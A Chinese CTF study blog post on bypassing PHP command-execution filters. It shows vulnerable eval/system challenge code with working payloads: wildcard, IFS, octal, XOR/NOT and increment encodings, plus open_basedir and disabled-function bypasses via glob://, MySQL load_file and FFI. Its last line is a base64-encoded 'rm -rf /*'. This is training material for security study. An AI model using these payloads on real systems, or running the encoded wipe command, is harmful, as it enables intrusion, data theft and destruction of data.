命令执行

First Post:

Last Update:

安全无止境,继续前进吧!

罗德岛的PRTS依赖于强大的网络系统,
相应地,网络安全尤为重要,这关乎全岛各项事务的正常运作,
希望你能够以身作则,祝你好运。
–by Kal’tsit

绕过严格过滤

命令执行,需要严格的过滤;攻击者需要想方设法绕过重重过滤

敏感词汇过滤

  1. 文件名/扩展名过滤
    使用*或?替换掉部分文件名和扩展名,前者可以替换掉一个字符,后者可以一次替换掉多个字符;
    或者在词汇中间插入’’或者\绕过检测;

  2. 高级版文件名/扩展名过滤
    在第一个的基础上做了升级。比如要过滤关键词’tac’,凡是传入的参数当中按顺序出现了’t’’a’’c’这三个字符,参数就会被过滤;
    此时第一个方法就不好用了,需要在省略部分字符的同时下加上路径/bin/,否则系统无法匹配命令;

    1
    2
    ?file=/bin/cat index.php
    ->?file=/bin/ca?${IFS}?????.???
  3. 函数名过滤
    当system被过滤时,使用echo `command`;执行系统命令;
    如果echo也被过滤,使用nl命令(该命令无回显,需要手动查看网页源代码);

  4. 拼接法
    通过构造与调用参数拼接敏感词汇,也能够绕过检测;

    1
    2
    ?file=system('ls');
    ->?file=$a=sys;$b=tem;$c=$a.$b;$c('ls');
  5. 包含法
    利用到了文件包含漏洞当中的filter包含,还挺好用(详解见:漏洞利用);

    1
    ?file=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=index.php

敏感字符过滤

  1. 分号’;’过滤
    使用%0a代替分号;

  2. 空格’%20’过滤
    在echo没有被过滤的情况下,使用$IFS(echo适用)或${IFS}代替空格;
    如果echo被过滤,使用%09代替空格(%09是Tab键的url编码);
    如果$或{}或IFS被过滤,使用+代替空格(+会被解释成空格);
    此外,也可以获取并调用php环境中与空格等效的标识符;

  3. 问号’?’过滤
    使用不含问号的javascript语句构造PHP命令:

    1
    2
    ?file=system('ls');
    ->?file=<script language='php'>system('ls');</script>
  4. 点’.’过滤
    使用以下语句构造’.’:

    1
    2
    pos(localeconv())
    chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))

    此外,还可以用句号’。’代替’.’

全数字过滤

利用Linux系统中的$(())构造数字:

1
2
3
${_} = ""  //返回上一次命令
$((${_})) = 0
$((~$((${_})))) = -1

全字母过滤

所有字母均被过滤时,考虑使用以下方法:

  1. 通配符替换
    使用’?’或’*‘替换字符,其中’?’一次只能替换一个字符,’*‘一次可以替换多个字符;

  2. bash无字母命令执行
    使用$’\num1\num2\……\numn’替换传统命令(其中的num均为对应字符的ASCII码的八进制形式);

    1
    2
    ?file=tac flag.php
    ->?file=$'\164\141\143' $'\146\154\141\147\56\160\150\160'

全数字、全字母过滤

如果遇到了所有字母和数字都被过滤的极端情况,有以下几种方法绕过:

  1. php异或
    将系统命令异或处理后传入(需要保证密文和密钥的url解码结果均不包含字母和数字);
    1
    2
    3
    4
    5
    system('ls');
    ->("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%0c%08"^"%60%7b");

    system('tac flag.php');
    ->("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%08%01%03%00%06%0c%01%07%00%0b%08%0b"^"%7c%60%60%20%60%60%60%60%2e%7b%60%7b");
  2. php或
    与异或相似,操作是差不多的;
    1
    2
    3
    4
    5
    system('ls');
    ->("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%0c%13"|"%60%60");

    system('tac flag.php');
    ->("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%14%01%03%00%06%0c%01%07%00%10%08%10"|"%60%60%60%20%60%60%60%60%2e%60%60%60");
  3. php自增
    PHP7.0.12以上版本不可用
    1
    2
    assert($_POST[_]);
    ->$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
  4. php取反
    1
    2
    3
    4
    5
    system('ls');
    ->(~%8C%86%8C%8B%9A%92)(~%93%8C);

    system('tac flag.php');
    ->(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F);
    请注意:在Linux系统中,system()函数不支持以上操作!
    此外,当 $、+、-、^、~、|、% 这些字符被过滤后,以上方法将失效!

举些例子(以下题目来自ctfshow):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

考点:敏感词汇过滤

payload:
?c=system('ls');
?c=system('tac fl*g.php');
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

考点:敏感词汇过滤

payload:
?c=echo `ls`;
?c=echo `tac fl*g.*`; // 通配符
?c=echo `tac fl?g.???`; // 通配符
?c=echo `nl fl''ag.p''hp`; // 适用于*被过滤的情况,运行后无回显,需要手动查看源代码
拼接法:
?c=$a=sys;$b=tem;$c=$a.$b;$c('ls');
?c=$a=sys;$b=tem;$c="${a}${b}";$c('tac fl*g.*');
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);

考点:敏感词汇过滤、敏感字符过滤

payload:
?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php


if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

考点:敏感词汇过滤、敏感字符过滤

payload:
?c=tac<fl''ag.php||
?c=ta''c<fl''ag.php|| // 适用于'tac'被过滤的情况
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

考点:敏感字符过滤、全数字过滤
解题思路:使用get_defined_vars(void)替代变量;
get_defined_vars(void):返回一个包含所有已定义变量列表的多维数组,可以替代任意变量,这些变量包括环境变量、服务器变量和用户定义的变量。

payload:
?c=eval(next(reset(get_defined_vars())));&1=system("ls");
?c=eval(next(reset(get_defined_vars())));&1=system("tac%20flag.php");

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php


if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

考点:高级敏感词汇过滤、空格过滤、全数字过滤
解题思路:通配符绕过、空格绕过

payload:
?c=/bin/ca?${IFS}????.???
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

考点:全字母过滤

payload1: // bash无字母命令执行
?c=$'\164\141\143' $'\146\154\141\147\56\160\150\160'

payload2: // 访问"/bin/base64 flag.php",编码flag.php
?c=/???/????64 ????.???
执行后,页面回显base64编码后的flag.php;
注意:这个不是通用的,因为base64不是每个机器都有

payload3: // 访问"/usr/bin/bzip2 flag.php",压缩flag.php
?c=/???/???/????2 ????.???
执行后,访问url/flag.php.bz2即可下载压缩后的flag.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}

考点:全数字过滤、全字母过滤
解题思路:过滤了%,取反、异或、或不可用,使用$(())构造数字

payload:
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

#flag in http://192.168.7.68/flag
if(isset($_GET['url'])){
$url = $_GET['url'];
$protocol = substr($url, 0,7);
if($protocol!='http://'){
die('仅限http协议访问');
}
if(preg_match('/\.|\;|\||\<|\>|\*|\%|\^|\(|\)|\#|\@|\!|\`|\~|\+|\'|\"|\.|\,|\?|\[|\]|\{|\}|\!|\&|\$|0/', $url)){
die('仅限域名地址访问');
}
system('curl '.$url);
}

考点:点过滤

payload:
?url=http://192。168。7。68/flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
// RoarCTF2020-Web-badhack
<?php
highlight_file(__FILE__);
class info
{
public $opcode;
public $rax;
public $rbx;
public $tmp;
public $flag;
}

$stack = NULL;
$opcode = array(893, 192, 9, 966, 64, 129, 573, 129, 2, 454, 193, 66, 573, 130, 7, 710, 66, 131, 445, 131, 8, 966, 131, 4, 701, 68, 6, 710, 196, 69, 893, 133, 9, 966, 197, 6, 573, 6, 11, 710, 198, 199, 445, 71, 10, 966, 135, 136, 573, 200, 4, 454, 8, 137, 829, 137, 11, 198, 201, 10, 957, 138, 12, 710, 74, 11, 701, 203, 4, 710, 139, 76, 829, 76, 7, 454, 204, 205, 445, 141, 7, 454, 77, 78, 573, 142, 10, 966, 142, 79, 765, 207, 4, 454, 207, 208, 701, 16, 3, 454, 208, 145, 509, 17, 9, 454, 145, 146, 1021, 82, 4, 966, 82, 83, 765, 147, 6, 966, 147, 212, 829, 84, 3, 198, 148, 149, 957, 213, 12, 454, 149, 86, 765, 22, 11, 454, 214, 215, 637, 87, 13, 198, 215, 88, 893, 152, 4, 198, 216, 89, 445, 217, 10, 966, 153, 218, 317, 218, 7, 710, 154, 155, 701, 155, 7, 710, 155, 92, 701, 156, 2, 966, 220, 93, 381, 157, 6, 454, 157, 94, 573, 222, 6, 454, 158, 223, 637, 223, 12, 966, 95, 96, 317, 96, 9, 710, 160, 97, 893, 33, 14, 454, 161, 226, 765, 226, 7, 454, 98, 35, 381, 99, 8, 710, 99, 228, 317, 164, 11, 710, 228, 165, 253, 37, 13, 966, 229, 230, 253, 166, 14, 710, 38, 39, 1021, 167, 12, 966, 103, 168, 957, 40, 4, 710, 168, 105, 701, 105, 7, 966, 105, 128, 701, 128, 13, 454, 64, 193, 509, 65, 8, 966, 193, 66, 637, 130, 12, 966, 194, 67, 317, 3, 10, 710, 131, 4, 1021, 68, 3, 966, 196, 133, 957, 5, 9, 710, 197, 134, 957, 6, 5, 966, 134, 71, 957, 7, 12, 710, 135, 136, 253, 136, 13, 454, 72, 137, 637, 73, 11, 454, 9, 10, 317, 202, 12, 710, 74, 11, 445, 139, 7, 966, 75, 204, 381, 204, 6, 454, 76, 205, 701, 77, 10, 198, 13, 14, 573, 14, 8, 710, 78, 15, 253, 79, 9, 710, 143, 80, 957, 208, 13, 966, 16, 145, 253, 17, 8, 454, 81, 82, 445, 18, 5, 710, 210, 147, 573, 147, 10, 198, 147, 84, 957, 84, 7, 454, 148, 213, 445, 149, 13, 454, 21, 214, 573, 150, 4, 710, 86, 87, 701, 215, 13, 454, 215, 24, 317, 152, 2, 454, 216, 153, 637, 89, 12, 454, 153, 154, 829, 218, 10, 710, 90, 155, 957, 91, 12, 198, 27, 92, 893, 92, 9, 454, 220, 93, 829, 221, 7, 454, 29, 158, 381, 222, 14, 710, 158, 95, 509, 159, 5, 454, 223, 224, 381, 224, 11, 710, 224, 33, 1021, 225, 7, 198, 161, 98, 573, 162, 13, 966, 98, 99, 509, 99, 7, 454, 163, 228, 509, 228, 13, 710, 36, 37, 573, 293, 11, 966, 165, 230, 381, 230, 5, 710, 166, 167, 957, 167, 14, 454, 39, 104, 317, 104, 6, 198, 40, 233, 637, 233, 10, 966, 233, 64, 999, 56, 78 );
$idx = 0;
function JudgeControl($op)
{
global $idx;
if($op->opcode == 999)
{
return 9;
}
if($idx == 6 && $op->flag == 0)
{
$op->rbx = 3;
$idx = 0;
return 7;
}
else if($idx == 6 && $op->flag != 0)
{
$idx = 2;
return $idx;
}
else
{
while((($op->opcode >> $idx) & 1) == 0)
$idx ++;
return $idx;
}
}
$PC = 0;
$code = new info();
$code->opcode = $opcode[$PC];
$code->rax = $opcode[$PC + 1];
$code->rbx = $opcode[$PC + 2];
$code->tmp = $opcode[$PC + 1];
$code->flag = 1;
$cmd = $_GET['cmd'];
if(!is_array($cmd) || sizeof($cmd) !== 42){
die('you are not bond 007');
}
$input = $cmd;
$flag = 0;
while(TRUE)
{
if($flag == 1)
{
echo "flag: ".$flag;
break;
}
$p = JudgeControl($code, $idx);
echo "idx:".$idx."\n";
echo "opcode: ".$code->opcode."\n";
echo "p: ".$p."\n";
if($p == 8) break;
switch($p)
{
case 0:
$code->rax = $input[$code->rax % 64];
break;
case 1:
$code->rax = $input[$code->rax % 64];
$code->rbx = $input[$code->rbx % 64];
break;
case 2:
$stack = $code->rax ^ $code->rbx;
break;
case 3:
$code->rbx = $code->rax & $code->rbx;
break;
case 4:
$code->rbx = $code->rbx << 1;
$code->flag = $code->rbx;
break;
case 5:
$code->rax = $stack;
case 6:
$code->rax = $stack;
$input[$code->tmp % 64] = $code->rax % 256;
break;
case 7:
$PC += 3;
$code->opcode = $opcode[$PC];
$code->rax = $opcode[$PC + 1];
$code->rbx = $opcode[$PC + 2];
$code->tmp = $opcode[$PC + 1];
$code->flag = 1;
$idx = -1;
break;
case 9:
$flag = 1;
break;
default :
break;
}
$idx ++;
}
$cmd = "";
foreach ($input as $s) {
$cmd .= chr($s);
}
@eval($cmd);
?>

考点:ASCII构造

解题思路:
依据注释访问bond007.php,传参'cmd'

payload:
system('ls')
->?cmd[52]=115&cmd[53]=121&cmd[54]=115&cmd[55]=116&cmd[56]=101&cmd[57]=109&cmd[58]=40&cmd[59]=39&cmd[60]=108&cmd[61]=115&cmd[62]=39&cmd[63]=41&cmd[64]=59&cmd[65]=47&cmd[66]=42&cmd[15]=100&cmd[16]=100&cmd[17]=100&cmd[18]=100&cmd[19]=100&cmd[20]=100&cmd[21]=100&cmd[22]=100&cmd[23]=100&cmd[24]=100&cmd[25]=100&cmd[26]=100&cmd[27]=100&cmd[28]=100&cmd[29]=100&cmd[30]=100&cmd[31]=100&cmd[32]=100&cmd[33]=100&cmd[34]=100&cmd[35]=100&cmd[36]=100&cmd[37]=100&cmd[38]=100&cmd[39]=100&cmd[40]=100&cmd[41]=100

system('ls /')
->?cmd[52]=115&cmd[53]=121&cmd[54]=115&cmd[55]=116&cmd[56]=101&cmd[57]=109&cmd[58]=40&cmd[59]=39&cmd[60]=108&cmd[61]=115&cmd[62]=32&cmd[63]=47&cmd[64]=39&cmd[65]=41&cmd[66]=59&cmd[67]=47&cmd[68]=42&cmd[17]=100&cmd[18]=100&cmd[19]=100&cmd[20]=100&cmd[21]=100&cmd[22]=100&cmd[23]=100&cmd[24]=100&cmd[25]=100&cmd[26]=100&cmd[27]=100&cmd[28]=100&cmd[29]=100&cmd[30]=100&cmd[31]=100&cmd[32]=100&cmd[33]=100&cmd[34]=100&cmd[35]=100&cmd[36]=100&cmd[37]=100&cmd[38]=100&cmd[39]=100&cmd[40]=100&cmd[41]=100

system('cat /f*')
->?cmd[52]=115&cmd[53]=121&cmd[54]=115&cmd[55]=116&cmd[56]=101&cmd[57]=109&cmd[58]=40&cmd[59]=39&cmd[60]=99&cmd[61]=97&cmd[62]=116&cmd[63]=32&cmd[64]=47&cmd[65]=102&cmd[66]=42&cmd[67]=39&cmd[68]=41&cmd[69]=59&cmd[70]=47&cmd[71]=42&cmd[20]=100&cmd[21]=100&cmd[22]=100&cmd[23]=100&cmd[24]=100&cmd[25]=100&cmd[26]=100&cmd[27]=100&cmd[28]=100&cmd[29]=100&cmd[30]=100&cmd[31]=100&cmd[32]=100&cmd[33]=100&cmd[34]=100&cmd[35]=100&cmd[36]=100&cmd[37]=100&cmd[38]=100&cmd[39]=100&cmd[40]=100&cmd[41]=100

突破禁用函数

命令执行,突破禁用函数;攻击者需要想方设法绕过重重限制

函数调用

一般POST突破,直接在POST里面调用函数并传入即可;

1
2
3
4
5
6
7
8
9
10
11
12
查找路径:
file=print_r(scandir("/"));
file=var_export(scandir("/"));
file=echo json_encode(glob('../../../*'));

读取目标文件:
file=show_source('flag.php');
file=highlight_file('/flag.txt');
file=readgzfile('/flag.txt');
file=require('/flag.txt');
file=require_once('/flag.txt');
file=include('/flag.txt');

拦截跳出

如果不想执行后续代码,避免输出缓冲区被劫持过滤,可以在命令末尾处添加以下两种功能函数:

  1. 提前送出缓冲区;
    1
    2
    ob_flush();
    ob_end_flush();
  2. 提前终止程序;
    1
    2
    exit(0);
    die(0);

glob伪协议

如果存在open_basedir配置的限制,常规的PHP访问函数被限制或禁用,
使用glob协议绕过open_basedir的限制:

1
2
3
4
5
6
7
8
9
file=?>
<?php
$a = new DirectoryIterator("glob:///*");
foreach($a as $f)
{
echo($f->__toString().'');
}
exit(0);
?>

连接数据库

如果存在include_path限制,文件包含路径受限,无法直接使用include()包含文件得到flag信息,
使用以下方式连接MySQL数据库访问flag:

  1. PDO连接;
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    file=
    try
    {
    $dbh = new PDO('mysql: host = localhost; dbname = ctftraining', 'root', 'root');
    foreach($dbh->query('select load_file("/flag.txt")') as $row)
    {
    echo($row[0])."|";
    }
    $dbh = null;
    }catch (PDOException $e)
    {
    echo $e->getMessage();
    exit(0);
    }
    exit(0);
  2. 回环地址连接;
    1
    2
    3
    4
    5
    6
    7
    8
    9
    file=
    $conn = mysqli_connect("127.0.0.1", "root", "root", "ctftraining");
    $sql = "select load_file('/flag.txt') as a";
    $row = mysqli_query($conn, $sql);
    while($result = mysqli_fetch_array($row))
    {
    echo $result['a'];
    }
    exit(0);

FFI(仅限于PHP7.4及以上版本)

PHP外部函数接口特性,用于实现高级语言之间的互相调用;
使用FFI::cdef()函数定义我们需要调用的函数的原型:

1
FFI::cdef([string $cdef = "" [, string $lib = null]]): FFI

这里引入例题web77(本题未开源,故不放上源代码,仅展示payload):

1
2
3
4
5
6
file=
$ffi = FFI::cdef("int system(const char *command);"); // 创建一个system对象
$a='/readflag > flag.txt'; // 此步无回显
$ffi->system($a); // 通过$ffi去调用system函数

访问url/flag.txt即可获取flag;

举些例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents(); // 获取缓冲区的数据
ob_end_clean(); // 清除缓冲区的内容并将缓冲区关闭,但不会输出内容
echo preg_replace("/[0-9]|[a-z]/i","?",$s); // 全字母、全数字过滤
}else{
highlight_file(__FILE__);
}
?>
你要上天吗?

payload1:
c=echo json_encode(glob('../../../*'))ob_flush();
c=include('/flag.txt');ob_flush();

payload2:
c=print_r(scandir("/"));exit(0);
c=include('/flag.txt');exit(0);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// CISCN国赛_Web_simple_php
<?php
ini_set('open_basedir', '/var/www/html/');
error_reporting(0);

if(isset($_POST['cmd'])){
$cmd = escapeshellcmd($_POST['cmd']);
if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) {
system($cmd);
}
}

show_source(__FILE__);
?>

解题思路:
1. 利用php -r执行命令,注意绕过过滤;
2. flag不在目录当中,此时一般在数据库中,需要执行sql语句查询;
3. 使用十六进制编码绕过关键词过滤;

payload:
cmd=php -r eval(hex2bin(substr(_echo `mysql -u root -p'root' -e 'use PHP_CMS;select * from F1ag_Se3Re7;'`,1)));
->cmd=php -r eval(hex2bin(substr(_6563686f20606d7973716c202d7520726f6f74202d7027726f6f7427202d652027757365205048505f434d533b73656c656374202a2066726f6d20463161675f5365335265373b27603b,1)));

Bash内置变量

利用Bash内置变量构造命令执行语句;

<- To be continued _(:3 ∠)__

  く__,.ヘヽ.        /  ,ー、 〉
           \ ', !-─‐-i  /  /´
           /`ー'       L//`ヽ、
         /   /,   /|   ,   ,       ',
       イ   / /-‐/  i  L_ ハ ヽ!   i
        レ ヘ 7イ`ト   レ'ァ-ト、!ハ|   |
          !,/7 '0'     ´0iソ|    |
          |.从"    _     ,,,, / |./    |
          レ'| i>.、,,__  _,.イ /   .i   |
            レ'| | / k_7_/レ'ヽ,  ハ.  |
              | |/i 〈|/   i  ,.ヘ |  i  |
             .|/ /  i:    ヘ!    \  |
              kヽ>、ハ    _,.ヘ、    /、!
              !'〈//`T´', \ `'7'ーr'
              レ'ヽL__|___i,___,ンレ|ノ
                  ト-,/  |___./
                  'ー'    !_,.:

cm0gLXJmIC8q